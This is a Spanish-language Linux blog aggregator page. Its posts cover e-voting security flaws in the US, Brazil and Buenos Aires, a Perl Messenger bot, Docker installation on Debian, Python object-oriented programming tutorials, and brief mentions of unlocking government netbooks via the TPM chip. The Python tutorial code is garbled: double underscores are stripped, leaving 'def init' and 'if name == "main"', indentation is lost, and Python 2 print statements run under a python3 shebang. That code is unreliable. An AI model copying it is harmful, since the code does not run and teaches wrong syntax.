Miércoles 24 de agosto de 2016

Usemos Linux: Cómo tomar notas con Paperwork

Martes 23 de agosto de 2016

Usemos Linux: Cómo tener tu propio juego de Geografía Multijugador con Posio

Lunes 22 de agosto de 2016

Usemos Linux: Avalonia 4 en Alpha, GUIs en .NET multiplataforma

Domingo 21 de agosto de 2016

Javier Smaldone

Javier Smaldone
Blog de Javier Smaldone

Voto electrónico en los EE.UU.

El sistema de votación más usado en los EE.UU. es la boleta única: un papel que contiene toda la oferta electoral, entregado en la mesa de votación, y donde el elector realiza marcas con una birome u otro elemento similar. El sistema de escrutinio más utilizado es el escaneo óptico de las marcas realizadas en las boletas de papel. Sin embargo, una cantidad significativa de condados todavía utilizan distintos sistemas de votación electrónica (cada condado tiene la facultad de elegir qué sistema de votación usar). El historial de problemas con las máquinas de votación es bastante frondoso (y hasta ha sido llevado a un capítulo de Los Simpson). Actualmente, existe una creciente preocupación de cara a las próximas elecciones presidenciales que se ve reflejada en los medios más importantes del país.

CNN Money, 9 de agosto de 2016

Estas son otras notas que han aparecido recientemente en medios de los EE.UU.:

Es curioso ver que algunos investigadores estadounidenses hasta están usando a las elecciones a Jefe de Gobierno de 2015 en la Ciudad Autónoma de Buenos Aires como ejemplo de lo que no debe hacerse con sistemas de votación electrónica.

Pero esto no es una historia nueva en los EE.UU. A continuación, el documental de HBO “Hacking Democracy” (“Hackeando la Democracia”) del año 2006, subtitulado en español.

David Moreno

David Moreno
dm's blog

WIP: Perl bindings for Facebook Messenger

A couple of weeks ago I started looking into wrapping the Facebook Messenger API into Perl. Since all the calls are extremely simple using a REST API, I thought it could be easier and simpler even, to provide a small framework to hook bots using PSGI/Plack.

So I started putting some things together and with a very simple interface you could do a lot:

use strict;
use warnings;
use Facebook::Messenger::Bot;

my $bot = Facebook::Messenger::Bot->new({
    access_token   => '...',
    app_secret     => '...',
    verify_token   => '...'
});

$bot->register_hook_for('message', sub {
    my $bot = shift;
    my $message = shift;

    my $res = $bot->deliver({
        recipient => $message->sender,
        message => { text => "You said: " . $message->text() }
    });
    ...
});

$bot->spin();

You can hook a script like that as a .psgi file and plug it in to whatever you want.

Once you have some more decent user flow and whatnot, you can build something like:



…using a simple script like this one.

The work is not finished and not yet CPAN-ready but I’m posting this in case someone wants to join me in this mini-project or have suggestions, the work in progress is here.

Thanks!

David Moreno

David Moreno
dm's blog

Cosmetic changes to my posts archive

I’ve been doing a lot of cosmetic/layout changes to the nearly 750 posts in my blog’s archive. I apologize if this has broken some feed readers or aggregators. It appears like Hexo still needs better syndication support.

Sábado 20 de agosto de 2016

Javier Smaldone

Javier Smaldone
Blog de Javier Smaldone

Voto electrónico en Brasil: técnicos versus opinólogos

En el plenario de comisiones de la Cámara de Diputados de la Nación que se realizó el 4 de agosto de 2016 (en la que varios expusimos nuestras críticas al proyecto de implantación de voto electrónico) el diputado por la UCR Mario Negri elogió el sistema utilizado en Brasil, llamando “fabulaciones” a las advertencias de los especialistas.

¿Cuál es la cualificación de Negri para aseverar esto? Ninguna. Solo haber estado ahí y haber tenido un reloj para determinar la velocidad de los resultados. A continuación, la traducción de un fragmento del informe elaborado por el investigador Diego Aranha y su equipo integrado por especialistas de las Universidad de Brasilia, en el que se detallan las graves vulnerabilidades encontradas (y muchas aún no solucionadas) en el sistema “rápido y furioso” que maravilla a nuestro legislador.

Vulnerabilidades en el software de la máquina de votación brasileña

Diego F. Aranha, Marcelo Monte Karam, André de Miranda, Felipe Scarel

Resumen

Este informe presenta un análisis de la seguridad del software de la máquina de votación brasileña basado en la experiencia de los autores como participantes de la 2da. edición de las Pruebas Públicas de Seguridad del Sistema Electrónico de Votación organizadas por el Tribunal Superior Electoral (TSE). Durante el evento, fueron detectadas vulnerabilidades en el software que permitieron recuperar el orden de los votos computados. Presentamos escenarios donde las vulnerabilidades permiten la posibilidad de fraude electoral y sugerencias para restablecer la seguridad de los mecanismos afectados. También se señalan otras debilidades del software y de las prácticas utilizadas para su elaboración. En particular, este informe se refiere a los principales problemas de diseño y/o implementación de los mecanismos de seguridad detectados en el software de la máquina de votación:

  • Protección inadecuada del secreto del voto: los votos son almacenados fuera de orden, pero es trivial recuperarlos en orden a partir únicamente de los productos públicos de una elección y conocimiento superficial del código fuente, que también es de acceso público a los partidos políticos.
  • Cifrado inadecuado: la misma clave criptográfica es utilizada para cifrar el soporte de todas las máquinas de votación. Utilizando una analogía clásica de un candado como abstracción de técnica criptográfica, esto equivale a proteger medio millón de candados con una misma llave, dado que esta es la cantidad aproximada de equipos en operación. Además, la llave que descifra todos los soportes de almacenamiento está almacenada en “texto plano” en la parte no cifrada de los mismos. Usando la misma analogía, esto equivale a esconder la llave del candado debajo de la alfombra y confiar en el secreto de esa ubicación como fuente de seguridad.
  • Uso de algoritmos obsoletos: la función de digesto criptográfico utilizada ya no ofrece la seguridad prevista para su aplicación en verificación de integridad. Esta aplicación específica de la función elegida ya no es recomendada desde hace al menos 6 años.
  • Formulación errónea del modelo de atacante: se ha puesto demasiado énfasis en el diseño de mecanismos resistentes solo a atacantes externos, cuando los atacantes internos representan un riesgo mucho mayor.
  • Proceso de desarrollo defectuoso: prácticas inseguras permiten la introducción accidental o maliciosa de vulnerabilidades de software, indicando claramente que el proceso de desarrollo adoptado por el TSE es inmaduro desde el punto de vista de la seguridad.
  • Verificación de integridad insuficiente: el software de la máquina de votación verifica su propia integridad durante el proceso de inicialización, pero toda la información necesaria para subvertir ese mecanismo se encuentra almacenada en las propias máquinas de votación, con diferentes dificultades para un ataque, dependiendo de la presencia de un módulo de seguridad de hardware. En máquinas sin este recurso, el problema de verificación es reducido a sí mismo, sin una fuente externa de confianza. En este caso, “software auto-verificable” por firma digital equivale a confiar en la firma de puño y letra en un documento solo por el testimonio del propio “autor”, que de esta forma puede hacerse pasar por quien quiera. Es importante destacar que una firma auténtica solo certifica el procesamiento del contenido firmado en algún punto del tiempo y el espacio en el cual la clave de firmado también estaba presente.Incluso si los mecanismos de verificación de integridad no son eludidos y funcionan satisfactoriamente, no hay garantía alguna de que el contenido del documento es en realidad el deseado, dado que el mismo (software) tiene una extensión de millones de líneas (de código). Si el software tiene vulnerabilidades (como las descritas en el presente documento), la verificación de integridad (cuando no es subvertida) tiene el efecto secundario de asegurar que las mismas vulnerabilidades estarán presentes en todas las máquinas. La versión del código observado por los autores asimismo tenía desactivada la verificación de integridad de parte del software contenido en la máquina, evidenciando las limitaciones intrínsecas de la técnica.

Más detalles acerca de los problemas anteriores se proporcionan en este informe, pero se pueden observar de antemano que varias de las características implementadas en el software de la máquina de votación no representan mecanismos de seguridad, sino apenas de ofuscación, no resistiendo a empleados internos o atacantes persistentes. Como muchos de los problemas encontrados resultan de defectos arquitectónicos o de premisas de diseño inadecuadas, es poco probable que la intervención puntual en alguna de esas cuestiones resuelva las causas fundamentales de su ocurrencia. Es imprescindible que se ejecute una revisión crítica completa de los procesos de desarrollo de software para que se establezcan buenas prácticas que lleven a evitar que se introduzcan nuevas vulnerabilidades accidentalmente o intencionalmente por agentes maliciosos internos o externos. Dado que el modelo de máquina de votación adoptado en Brasil depende exclusivamente de la integridad del software para lograr la integridad de los resultados, los problemas aquí discutidos adquieren un carácter crítico y requieren con urgencia la introducción de mecanismos que permitan la auditabilidad de los resultados independientemente del software. Solo con una revisión de prácticas e instauración de metodología para la evaluación continua del sistema, es posible que el software de las máquinas de votación satisfaga los requisitos mínimos y plausibles de seguridad y transparencia.

Ver documento completo (en portugués).

La ignorancia es atrevida

¿Sabrá el diputado Negri lo que significa desordenar los votos con la función srand(), usando como semilla la misma hora (en segundos) que la máquina imprime en el acta de apertura? No parece.

Me pregunto si el diputado Mario Negri será capaz de diagnosticar el estado de salud de una persona con solo dialogar con ella. O si podrá determinar el estado de un automóvil con solo dar una vueltita a la manzana. Como sea, y en base a su “observación” en una elección, el legislador no tiene ninguna duda de la aplicabilidad del voto electrónico (ya sea en la variante brasileña o en la que el oficialismo impulsa en la Argentina). ¿La opinión de los expertos? Fabulaciones, seguramente.

Jueves 18 de agosto de 2016

Javier Smaldone

Javier Smaldone
Blog de Javier Smaldone

El voto electrónico en CABA, un ejemplo de libro

En diciembre de 2016 será publicado el libro “Real-world Electronic Voting: Design, Analysis and Deployment” (“Voto Electrónico en el Mundo Real: Diseño, Análisis e Implementación”), pero ya puede accederse al capítulo que detalla ejemplos prácticos de ataques a sistemas de este tipo, escrito por el reconocido especialista en seguridad informática Alex Halderman.

Macri y el voto electrónico en CABA

En las páginas 156 y 157, Haldeman enumera algunos de los incidentes ocurridos en la Ciudad Autónoma de Buenos Aires en las elecciones a Jefe de Gobierno del año 2015 (de las que lamentablemente la prensa local se hizo poco eco) con el sistema de votación electrónica Vot.ar de la empresa MSA. A continuación, el fragmento del libro (original en inglés y traducción al español).

Argentina

Some municipalities in Argentina use an unusual e-voting system called Vot.ar, which relies on paper ballots with embedded RFID chips [77]. Voters use a touchscreen ballot marker that prints their selections while simultaneously storing them in the RFID chip. The ballots are collected in a ballot box and then counted using an RFID reader. The totals from each polling place are transmitted electronically to a central counting server to produce the election results.

During elections in Buenos Aires in July 2015, various independent researchers uncovered problems with Vot.ar. Joaquín Sorianello found that the private keys used to transfer the polling place results were publicly available on the Internet [10], potentially allowing an attacker to monitor or manipulate the returns. An anonymous leaker published the Vot.ar source code [57], and it was analyzed by a group of researchers who discovered a major flaw in the vote counting logic [3]. As a result of this flaw, an attacker could manipulate the data stored in the RFID chip so that a ballot would be counted as multiple votes.

Rather than responsibly addressing these concerns, authorities in Argentina attempted to suppress them. The Buenos Aires Metropolitan Police raided Sorianello’s home and seized his computers, and a judge ordered Argentinian ISPs to block some of the websites where information about the system’s security was being shared [10].

Argentina

Algunos municipios de la Argentina utilizan un sistema de votación electrónica inusual llamado Vot.ar, que se basa en boletas de papel con chips RFID incrustados [77]. Los votantes usan un sistema de votación con pantalla táctil que imprime sus selecciones, mientras que al mismo tiempo las almacena en el chip RFID. Las boletas se recogen en una urna y luego son contabilizadas usando un lector RFID. Los totales de cada lugar de votación se transmiten electrónicamente a un servidor central de conteo para producir los resultados de las elecciones.

Durante las elecciones en Buenos Aires en julio de 2015, varios investigadores independientes descubrieron problemas con Vot.ar. Joaquín Sorianello encontró que las claves privadas utilizadas para transferir los resultados desde el lugar de votación estaban disponibles públicamente en Internet [10], permitiendo potencialmente a un atacante controlar o manipular los envíos. Un anónimo publicó el código fuente Vot.ar [57], y fue analizado por un grupo de investigadores que descubrió un defecto importante en la lógica de recuento de votos [3]. Como resultado de este defecto, un atacante podría manipular los datos almacenados en el chip RFID de modo que una boleta podría ser contabilizada como múltiples votos.

En lugar de abordar estos asuntos de manera responsable, las autoridades de la Argentina intentaron reprimirlos. La Policía Metropolitana de Buenos Aires allanó la casa de Sorianello e incautó sus computadoras, y un juez ordenó a los ISP argentinos bloquear algunos de los sitios web donde se estaba compartiendo información sobre la seguridad del sistema [10].

Entre las referencias, Halderman cita el código fuente filtrado del sistema Vot.Ar y el informe sobre el bug “multivoto”. Cabe recordar que recientemente Joaquín Sorianello fue sobreseído (y el peritaje judicial demostró que la seguridad del sistema de MSA era pésima).

Créditos del libro

Ojalá esta publicación internacional sirva para el Dr. Luis Francisco Lozano, presidente del Tribunal Superior de Justicia que avaló el uso del sistema Vot.Ar en la Ciudad Autónoma de Buenos Aires se entere de que sí tuvo (y tiene) problemas serios.


Lozano en la Cámara de Diputados de la Nación, el 4 de agosto de 2016

Y quizá hasta puede que se enteren los gobernantes y legisladores que quieren que todos los argentinos votemos con un sistema similar a partir de 2017.

Domingo 14 de agosto de 2016

David Moreno

David Moreno
dm's blog

Ruby and libv8: Exactly my feelings

Thanks to my coworker Dan for making a whole bunch of these based on our day job adventures :)

Miércoles 29 de junio de 2016

PCTux: El hashtag que pide a Messi que no se vaya

Lunes 13 de junio de 2016

Javier Ledesma

Javier Ledesma
Ubuntronics

Richard Stallman nos explica: ¿Por que no usar celulares?

Richard Matthew Stallman (nacido en Manhattan, Nueva York, 16 de marzo de 1953), con frecuencia abreviado como «rms» es un programador estadounidense.


Es principalmente conocido por el establecimiento de un marco de referencia moral, político y legal para el movimiento del software libre, como una alternativa al desarrollo y distribución del software no libre o privativo.

Continuar leyendo »

Domingo 12 de junio de 2016

Javier Ledesma

Javier Ledesma
Ubuntronics

¿Cómo crear una lista de los paquetes instalados con Pacman y Yaourt?

Hacer una lista de todos los paquetes instalados en nuestro sistema ─en mi caso Arch Linux─ por medio de los gestores: Pacman y Yaourt, ¡es muy fácil!


Con ejecutar un solo comando en un Terminal es posible conocer los paquetes que hemos instalados, a excepción de los paquetes "base" y "base-devel".

Continuar leyendo »

Lunes 06 de junio de 2016

Javier Ledesma

Javier Ledesma
Ubuntronics

Jugar a Game Boy Advance en Linux con mGBA

Game Boy Advance (abreviada como GBA) es una popular consola de videojuegos de la compañía Nintendo. Hubo juegos de todos los géneros para esta consola que también, es compatible con todos los juegos de Game Boy y todos los de Game Boy Color.


mGBA en un emulador de Game Boy Advance con el que podrás disfrutar de todos los juegos de la fantástica consola de Nintendo en tu ordenador.

Continuar leyendo »

Jueves 26 de mayo de 2016

Linux Adictos: SuSE anuncia la disponibilidad de SLES for SAP Applications en AWS

Miércoles 25 de mayo de 2016

Linux Adictos: CentOS 6.8 ya está disponible
Linux Adictos: Comienza el desarrollo de OpenSUSE Leap 42.2

Martes 09 de febrero de 2016

Eduardo Federico

Eduardo Federico
Paraiso Linux

Usa tu smartphone para cuidar tu salud

Esto es sencillo y se puede resumir en una frase que vi por algún lado. "El sedentarismo es el nuevo tabaquismo". Hay varios estudios que se han realizado que demuestran exactamente eso. No tengo los links a esos estudios pero busquen en blogs mas especializados como vitonica y seguro los encuentran.

La cuestión es algo así: aun si dedicas una hora al día a correr o caminar pero pasas 8 o 9 hs al día sentado, ya sea trabajando o viendo anime, entonces estarás perjudicando a tu cuerpo, tu salud, por mas ejercicios que hagas antes o después de esa cantidad de horas sentado. Esto problemas son tan graves como aumentar la posibilidad de muerte prematura por problemas de corazón, obesidad (y todos los problemas derivados que esto trae) y hasta cosas "menos graves" como dolores de espalda que estoy seguro que muchos de los que están leyendo esto han padecido o lo están padeciendo en este mismo momento.

8 o 9hs sentado es poco en algunos casos. Ej: eres programador freelance. Entonces te levantas de la cama, te sientas en la pc, trabajas hasta la hora del almuerzo. Almuerzo que por supuesto comes frente a la pc viendo algun capitulo de las tantas series que te gustan, luego sigues trabajando. Y cuando has cumplido con tus horas laborales, llega la hora de ver algunos videos en youtube, leer en Internet sobre cosas que te interesen, jugar, etc. Y así hasta que llega la hora de dormir. Y nunca duermes suficiente por quedarte viendo mas series de algun anime o serie que te guste. Pufff...etc etc, pero al final una persona puede pasar mas de 14 horas al día sentado y hay que tomar conciencia del daño que eso esta causando aunque no lo notemos.

Entonces, la recomendación es que cada hora de estar sentados nos tomemos 2 minutos para caminar o hacer alguna pequeña actividad física.

Soluciones? pues lo primero que se me ocurrió fue comprarme un reloj o pulsera cuantificadora, tipo fitbit o nike fuelband. Se que muchas de ellas detectan si hemos estado sentado y sin hacer ninguna actividad mucho tiempo y entonces vibran en nuestra muñequa para que nos movamos. Eso es genial, pero al menos en mi país no son tan baratas y luego de mucho buscar encontré una app para Android que nos servirá de igual forma.

La app se llama Movn. Y se puede bajar desde play store.

Luego de instalarla y configurarla un poco con nuestros datos y metas básicos, llega la hora de usarla, y es muy sencillo. Les cuento como la uso yo.

movn salud en android

Básicamente tengo el smartphone en mi escritorio de trabajo, y pasada una hora este vibra y tiene una notificación sonora también, indicándome que ha pasado 1 hora sin que me mueva. Entonces agarro el smartphone, lo pongo en el bolsillo del pantalón y me levanto a caminar por mi casa por unos 2 a 5 minutos. Mientras aprovecho para hacer alguna llamada (usando el manos libres) de las que tengo que hacer en el día. Luego a sentarme y seguir trabajando o haciendo lo que sea en la pc.

Recomendación. Usa el manos libres si vas a hablar en esos 2 minutos que estas caminando, porque al menos a mi no me detecta que me he movido a menos que lleve el celular en el bolsillo.

Dentro de la aplicación verán que el único dato importante, o al menos en el que mas me fijo, es el que muestro en la captura de pantalla, que básicamente dice cuanto tiempo llevamos sin movernos.

Y también notaran que habrá un icono en el área de notificaciones todo el tiempo. Eso trae 2 problemas. Primero que la gente se vuelve loca por simplemente verlo ahí todo el tiempo y segundo que eso normalmente indica que la aplicación se esta ejecutando todo el tiempo, consumiendo la batería mas rápido de lo normal, pero si la duración de la batería es mas importante para ti que tu salud entonces seguramente no hayas ni llegado hasta este párrafo.

Bueno, ese es mi pequeño aporte para tratar de cuidar la salud de la gente, al menos de los pocos que lean este articulo. Si te gusto y quieres ayudar a tu familia y amigos a cuidar tu salud entonces...comparte!

La entrada Usa tu smartphone para cuidar tu salud pertenece a Paraiso Linux.

Viernes 05 de febrero de 2016

PCTux: Cupones de descuento en Argentina

Sábado 26 de diciembre de 2015

Ernesto Crespo

Ernesto Crespo
Blog de Seraph1

Instalar Docker en Debian Jessie


Hace un tiempo me toco dictar un curso de empaquetado para Debian y un compañero preparo una máquina virtual de Virtualbox con vagrant (un tutorial lo pueden revisar en el siguiente enlace).

Hubo un momento que dañamos algunos paquetes y recuperamos la imagen de forma rápida para continuar con el curso.

En mi caso como mi máquina personal no tengo como manejar varias máquinas virtuales con virtualbox preferí irme hacía la tecnología de contenedores con Docker. Pueden revisar wikipedia para saber más de docker.

La guía de instalación para Debian Jessie en inglés lo pueden encontrar en el siguiente enlace; y la guía de usuario en el siguiente enlace. El repositorio donde se alojan imágenes lo pueden revisar en este enlace.

0. Instalar soporte de https para los repositorios:
#apt-get install apt-transport-https

1. Borrar paquetes viejos o de lxc:
#apt-get purge lxc-docker 
#apt-get purge docker.io

2. Agregar la llave gpg de docker.io:
#apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys  58118E89F3A912897C070ADBF76221572C52609D 

3. Agregar el repositorio al sources.list.d:
vim /etc/apt/sources.list.d/docker.list

deb https://apt.dockerproject.org/repo debian-jessie main


4. Actualizar la lista de repositorios: 
#apt-get update

5. Verificar que se baja el paquete del repositorio correcto: 
#apt-cache policy docker-engine

6. Instalar docker:
#apt-get install docker-engine

7. Iniciar el demonio docker:
#service docker start

8. Verificar que se instaló correctamente:
# docker run hello-world
Unable to find image 'hello-world:latest' locally
latest: Pulling from library/hello-world
b901d36b6f2f: Pull complete 
0a6ba66e537a: Pull complete 
Digest: sha256:8be990ef2aeb16dbcb9271ddfe2610fa6658d13f6dfb8bc72074cc1ca36966a7
Status: Downloaded newer image for hello-world:latest

Hello from Docker.
This message shows that your installation appears to be working correctly.

9. Dar acceso de docker a usuarios no root:

9.1 Agregar el grupo docker si no existe:
$sudo groupadd docker

9.2 Agregar al usuario al grupo docker:
$ sudo gpasswd -a ${USER} docker

9.3 Reiniciar el demonio docker:
$sudo service docker restart

En siguientes artículos se mostrará el uso de docker, como crear imágenes y por último se creará un entorno para empaquetar para Debian.
Dejaré por acá las referencias para usarlas en un futuro:
Referencias:
10. Algunos artículos del blog de Javier Garzas: 


Viernes 25 de diciembre de 2015

Ernesto Crespo

Ernesto Crespo
Blog de Seraph1

Volviendo a lo básico, POO en Python (parte 2)

Continuando con la serie de artículos sobre programación orientada objetos con python, les dejo el enlace del primer artículo.


El siguiente artículo se basa en un artículo de un blog publicado en www.toptal.com.

En el artículo anterior se muestra las variables id_ciudad y cont_ciudad como atributos de la clase. Se mostrará con el siguiente ejemplo que no siempre es bueno usar atributos de una clase, que se rompe la norma de encapsulación de la POO. 



#!/usr/bin/env python3


# -- coding: utf-8 --








class Servicio(object):


dato = []





def init(self,otro_dato):


self.otro_dato = otro_dato





if name == "main":


s1 = Servicio(["a","b"])


s2 = Servicio(["c","d"])


s1.dato.append(1)


print "dato de S1: ",s1.dato


print "dato de S2: ",s2.dato


s2.dato.append(2)


print "dato de s1: ",s1.dato


print "dato de s2: ",s2.dato


print "otro dato de s1: ", s1.otro_dato


print "otro dato de s2: ", s2.otro_dato




Al ejecutar el código se tiene:


dato de S1:  [1]


dato de S2:  [1]


dato de s1:  [1, 2]


dato de s2:  [1, 2]


otro dato de s1:  ['a', 'b']


otro dato de s2:  ['c', 'd']



El las 4 primeras líneas de la ejecución muestrán que la instancia s1 y la instancia s2 practicamente tienen el mismo valor a pesar de que se agrega el dato en s1 y se refleja en s2, luego se agrega el dato en s2 y se refleja en s1.

En el artículo en inglés mencionan que la solución sería no tener una lista vacía como instancia de la clase si no colocar None. 

A continuación el código:


#!/usr/bin/env python3


# -- coding: utf-8 --








class Servicio(object):


dato = None





def init(self,otro_dato):


self.otro_dato = otro_dato





if name == "main":


s1 = Servicio(["a","b"])


s2 = Servicio(["c","d"])


s1.dato = 1


print "dato de S1: ",s1.dato


print "dato de S2: ",s2.dato


s2.dato = 2


print "dato de s1: ",s1.dato


print "dato de s2: ",s2.dato




El resultado de la ejecución es el siguiente: 


dato de S1:  1


dato de S2:  None


dato de s1:  1


dato de s2:  2



Como se ve ya no muestra valores iguales entre las dos instancias de la clase.

Ahora muestro el código sin la instancia de la clase, creando dato como una variable privada y unos métodos que acceden a dato:



#!/usr/bin/env python3


# -- coding: utf-8 --








class Servicio(object):








def init(self,otro_dato):


self.dato = []


self.otro_dato = otro_dato





def mostrar_dato(self):


return self.__dato





def agregar_dato(self,dato):


self.__dato.append(dato)





def inicializar_dato(self,):


self.__dato = []





if __name == "main":


s1 = Servicio(["a","b"])


s2 = Servicio(["c","d"])


try:


s1.dato.append(1)


except AttributeError:


print "No se pudo agregar a dato de s1"


finally:


print s1.mostrar_dato()


print s2.mostrar_dato()


s1.agregar_dato(1)


s1.agregar_dato(3)


s2.agregar_dato(2)


s2.agregar_dato(4)


print s1.mostrar_dato()


print s2.mostrar_dato()






Al ejecutar el script se tiene lo siguiente:


No se pudo agregar a dato de s1


[]


[]


[1, 3]


[2, 4]




No es un error crear atributos de una instancia lo que se tiene que saber es exactamente que lo que se necesita en la clase para evitar estos errores, y lo mejor es seguir el paradigma de programación orientada a objetos.

Viernes 18 de diciembre de 2015

Ernesto Crespo

Ernesto Crespo
Blog de Seraph1

Volviendo a lo básico, POO en Python (parte 1)

Luego de un tiempo escribiendo artículos de temas muy diversos sobre python, ahora iniciaré una serie sobre programación orientada a objetos desde lo básico hasta las nuevas características incorporadas en el lenguaje.

Esto me ayudará también a mí a corregir unas práctias en cuanto a la programación orientada a objetos y aprender nuevas prácticas.

Actualmente estoy usando una herramienta de una página web que permite evaluar la calidad de un código, este sitio se llama www.quantifiedcode.com.

Me he encontrado con errores en un desarrollo que por eso inicio esta serie de artículos.

En la siguiente figura verán como muestra los errores la herramienta:


Lo bueno es que al hacer un commit a github automáticamente quantifiedcode envía un correo con las incidencias.


Bueno, ahora toca ir al artículo en sí.

Se tiene una clase ciudad con varios métodos.

A continuación se muestra el código:

#!/usr/bin/env python3



from math import *



#Se crea la clase ciudad que hereda de object.

#Esto se declara asi actualmente por convencion.

class Ciudad(object):

#Datos

cont_ciudad = 0 

id_ciudad = 0





def init(self,nombre='',x=0,y=0):

"""Constructor que recibe el nombre de la ciudad,x y y"""

self.nombre = nombre 

self.x = x 

self.y = y

Ciudad.cont_ciudad += 1

self.id_ciudad = Ciudad.cont_ciudad



def str(self):

"""Metodo que retorna un string con la info de la ciudad"""

return 'Ciudad: ' + self.nombre + ',id= ' + str(self.id_ciudad) + ',x= %s,y=%s' %(self.x,self.y)

    

def set( self, nombre):

"""Metodo que asigna un valor"""

self.nombre= nombre



def get( self):

"""Metodo que obtiene un valor"""

return  self.nombre



def mover_a(self,x=0,y=0):

"""Metodo que cambia de valor a x y y"""

self.x += x

self.y += y



def distancia(self, otra_ciudad):

"""Metodo que calcula la distancia con respecto a otra ciudad"""

xi = pow(otra_ciudad.x-self.x,2)

yi = pow(otra_ciudad.y-self.y,2)

return sqrt(xi+ yi)



def del(self):

"""Elimina la clase"""

#obtener el nombre de una clase

class_name = self.class.name

print('class ', class_name, 'destroyed')





#Inicializando un metodo estatico

#Es el caso que no se referencia al objeto en si mismo con

#self

@staticmethod

def info():

"""Metodo que devuelve el nombre del desarrollador"""

return  "Desarrollado por Seraph"







if name == "main":

a = Ciudad('Valencia',5,5)

b = Ciudad('Maracay',5,15)

print(a)

print(b)

print(Ciudad.cont_ciudad)

a.mover_a(4,3)

b.mover_a(7,12)

print(a.info())

print(a)

print(b)




El método info maneja un decorador llamado staticmethod que lo define como un método estático, ya que no se le pasa self para trabajar con métodos o variables del mismo objeto.

El resultado de ejecutar el script es el siguiente:

Ciudad: Valencia,id= 1,x= 5,y=5
Ciudad: Maracay,id= 2,x= 5,y=15
2
Desarrollado por Seraph
Ciudad: Valencia,id= 1,x= 9,y=8
Ciudad: Maracay,id= 2,x= 12,y=27
('class\t', 'Ciudad', 'destroyed')
('class\t', 'Ciudad', 'destroyed')



Martes 17 de noviembre de 2015

Mariano Mendez

Mariano Mendez
[A]NTRAX - [L]ABS

Desbloquear Netbook del gobierno CX 100nzc 2013


Hola a todos,
Hace un tiempo hice un tutorial de como desbloquear las netbook del gobierno:

http://underc0de.org/foro/hardware/desbloqueo-definitivo-de-la-netbook-del-gobierno-con-un-clip-%28antrax%29/

Pero no sirve para todos los modelos, ahora voy a explicar como desbloquear la CX100, que es similar.

Mariano Mendez

Mariano Mendez
[A]NTRAX - [L]ABS

Examen conectar Igualdad (Ingreso como Tecnico)




Hola a todos! 
Les traigo el examen que están tomando para ingresar como técnicos en las escuelas en el plan conectar igualdad.
Para aquellos que no sepan, todos los años se toma este examen para entrar a trabajar en las escuelas arreglando las netbooks del gobierno.

Mariano Mendez

Mariano Mendez
[A]NTRAX - [L]ABS

Desbloqueo de las Netbook del gobierno (2013-2014)


He visto que muchos usuarios aun quieren desbloquear las netbooks del gobierno puenteando las patas del chip TPM. El metodo sigue vigente, pero SOLO para las netbooks del año 2011 - 2012 y algunas del 2013.

A partir del 2013, cambiaron el chip, dificultando asi su desbloqueo.
Investigando un poco en internet, me tope con esto:

Rompiendo el mito del desbloqueo ilegal:

se estima que un 10% de las primeras computadoras que se entregaron vinieron con fallas de fabrica y debido a este inconveniente se podian desbloquear temporalmente (no en su totalidad).

ministerio de educacion


En las nuevas computadoras se corrigio este error y tienen el doble de seguridad: se les agrego un interruptor DIP y se presume que otro chip alterno que controla la secuencia de arranque; lo que basicamente hace esta nueva seguridad implementada es que si alguien interrumpe el ciclo normal de arranque la pc tiende a autoapagarse mostrando una pantalla negra que no llega ni a encenderse.. 
La UNICA forma de desbloquear las netbooks ahora, es termiando el ultimo año del secundario. En caso de que encuentre alguna forma nueva para desbloquearlas, lo estaré posteando.


Domingo 08 de noviembre de 2015

Sergio A. Alonso

Sergio A. Alonso
Bunker Blog

Taller de Linux y Ruby on Rails

Hace tiempo que no posteo en el Blog
Sepan disculpar: no solo no me he retirado, sino que gracias a mis dos últimos empleos, Belatrix y Supercanal (donde sigo trabajando) he aprendido mucho y apenas me ha alcanzado el tiempo para transmitir conocimientos nuevos
Como para no dejar completamente de lado la docencia, lanzo la cuarta edición de este Taller, con muchas novedades.
Si bien el Taller es presencial, incluye un aula virtual propia con todo lo necesario para crear los primeros algoritmos en Ruby, diseñar aplicaciones web, hacer scripting, y armar ambientes reales de producción.
El taller es muy intenso: incluye varios meta conocimientos alrededor de esta tecnología adquiridas a lo largo de 20 años de experiencia: intercambio de llaves, GIT, seteo de Apache, balanceadores de carga, debug sobre el terreno, despliegue de nodos, deploy en clouds, y una larga lista de habilidades tanto del desarrollador web como de esa nueva profesión que se viene gestando llamada DevOp.


Ejemplo del aula, la cual gracias a Screen y al fantástico Codebox IDE me permite asistir rápidamente a los alumnos:

Para los impacientes, aquí les dejo un enlace a la descripción del Taller, clase por clase: https://goo.gl/ngQ2BE

Enlace hacia la nota completa: http://goo.gl/BLyqdy

Se agradece su difusión.

Martes 13 de octubre de 2015

¿Que es QRDA? #QRDA @QRDAve

QRDA nace bajo la idea de proveer soluciones tecnológicas a distintas organizaciones sin fines de lucro, a través del apoyo de twitter.com/delbosquetech y con el respaldo de la Comunidad del Software Libre en Venezuela.

Esta idea la propone Luis Ortiz, gran amigo y compañero de trabajo. Se desarrolla en una reunión social (agua, cerveza, jugos, refresco, pizza) por lo que es considerado un evento entre panas que buscamos un mismo fin: dar apoyo con nuestro conocimiento tecnológico para desarrollar proyectos determinados.

Luis en la Charla de Inicio de QRDA

Luego de establecer las bases que sustentarían este proyecto, se fueron creando diferentes tickets en github que permitieran establecer un orden a las actividades que se van desarrollando, para luego crear las diferentes listas de correo y comenzar a trabajar.

Al final de la actividad pudimos compartir con personas que se acercaron de diferentes parte de Venezuela y que integran la Comunidad del Software Libre, gente con la cual me identifico y que se ha ganado mi respeto.

La lista de agradecimiento es extensa, son muchos los involucrados en este maravilloso proyecto que, aún y cuando está comenzando, podría asegurar que ayudará a muchas personas y tendrá un crecimiento positivo. Muchas gracias a todos.

Les dejo las redes sociales de QRDA para que también puedan seguir este proyecto y, si lo desean, puedan unirse a nosotros:

https://twitter.com/QRDAve/
https://instagram.com/qrda.ve
https://www.facebook.com/QRDA.com.ve
http://qrda.com.ve

Nuevamente Gracias por venir.

Lunes 14 de septiembre de 2015

La accesibilidad web para personas con discapacidad visual

“La Accesibilidad” hoy en día es una de las palabras más utilizadas cuando nos referimos a las persona con alguna discapacidad, más específicamente la discapacidad visual. Ésta no solamente abarca los aspectos de software y hardware, sino que además se centra en la vida misma de estas personas, cómo puede hacerse más fácil la tarea de convivir con personas que no tienen este tipo de desventaja; debido a esto, las instituciones del Estado se han interesado y comprometido a realizar medios más accesibles para ellos, así por ejemplo tenemos los pasos peatonales, incluso hoy en día hablamos de la creación de páginas web o sistemas de información accesibles. Es importante resaltar que se debe hacer un buen uso de la tecnología para poder romper las barreras que se presentan.
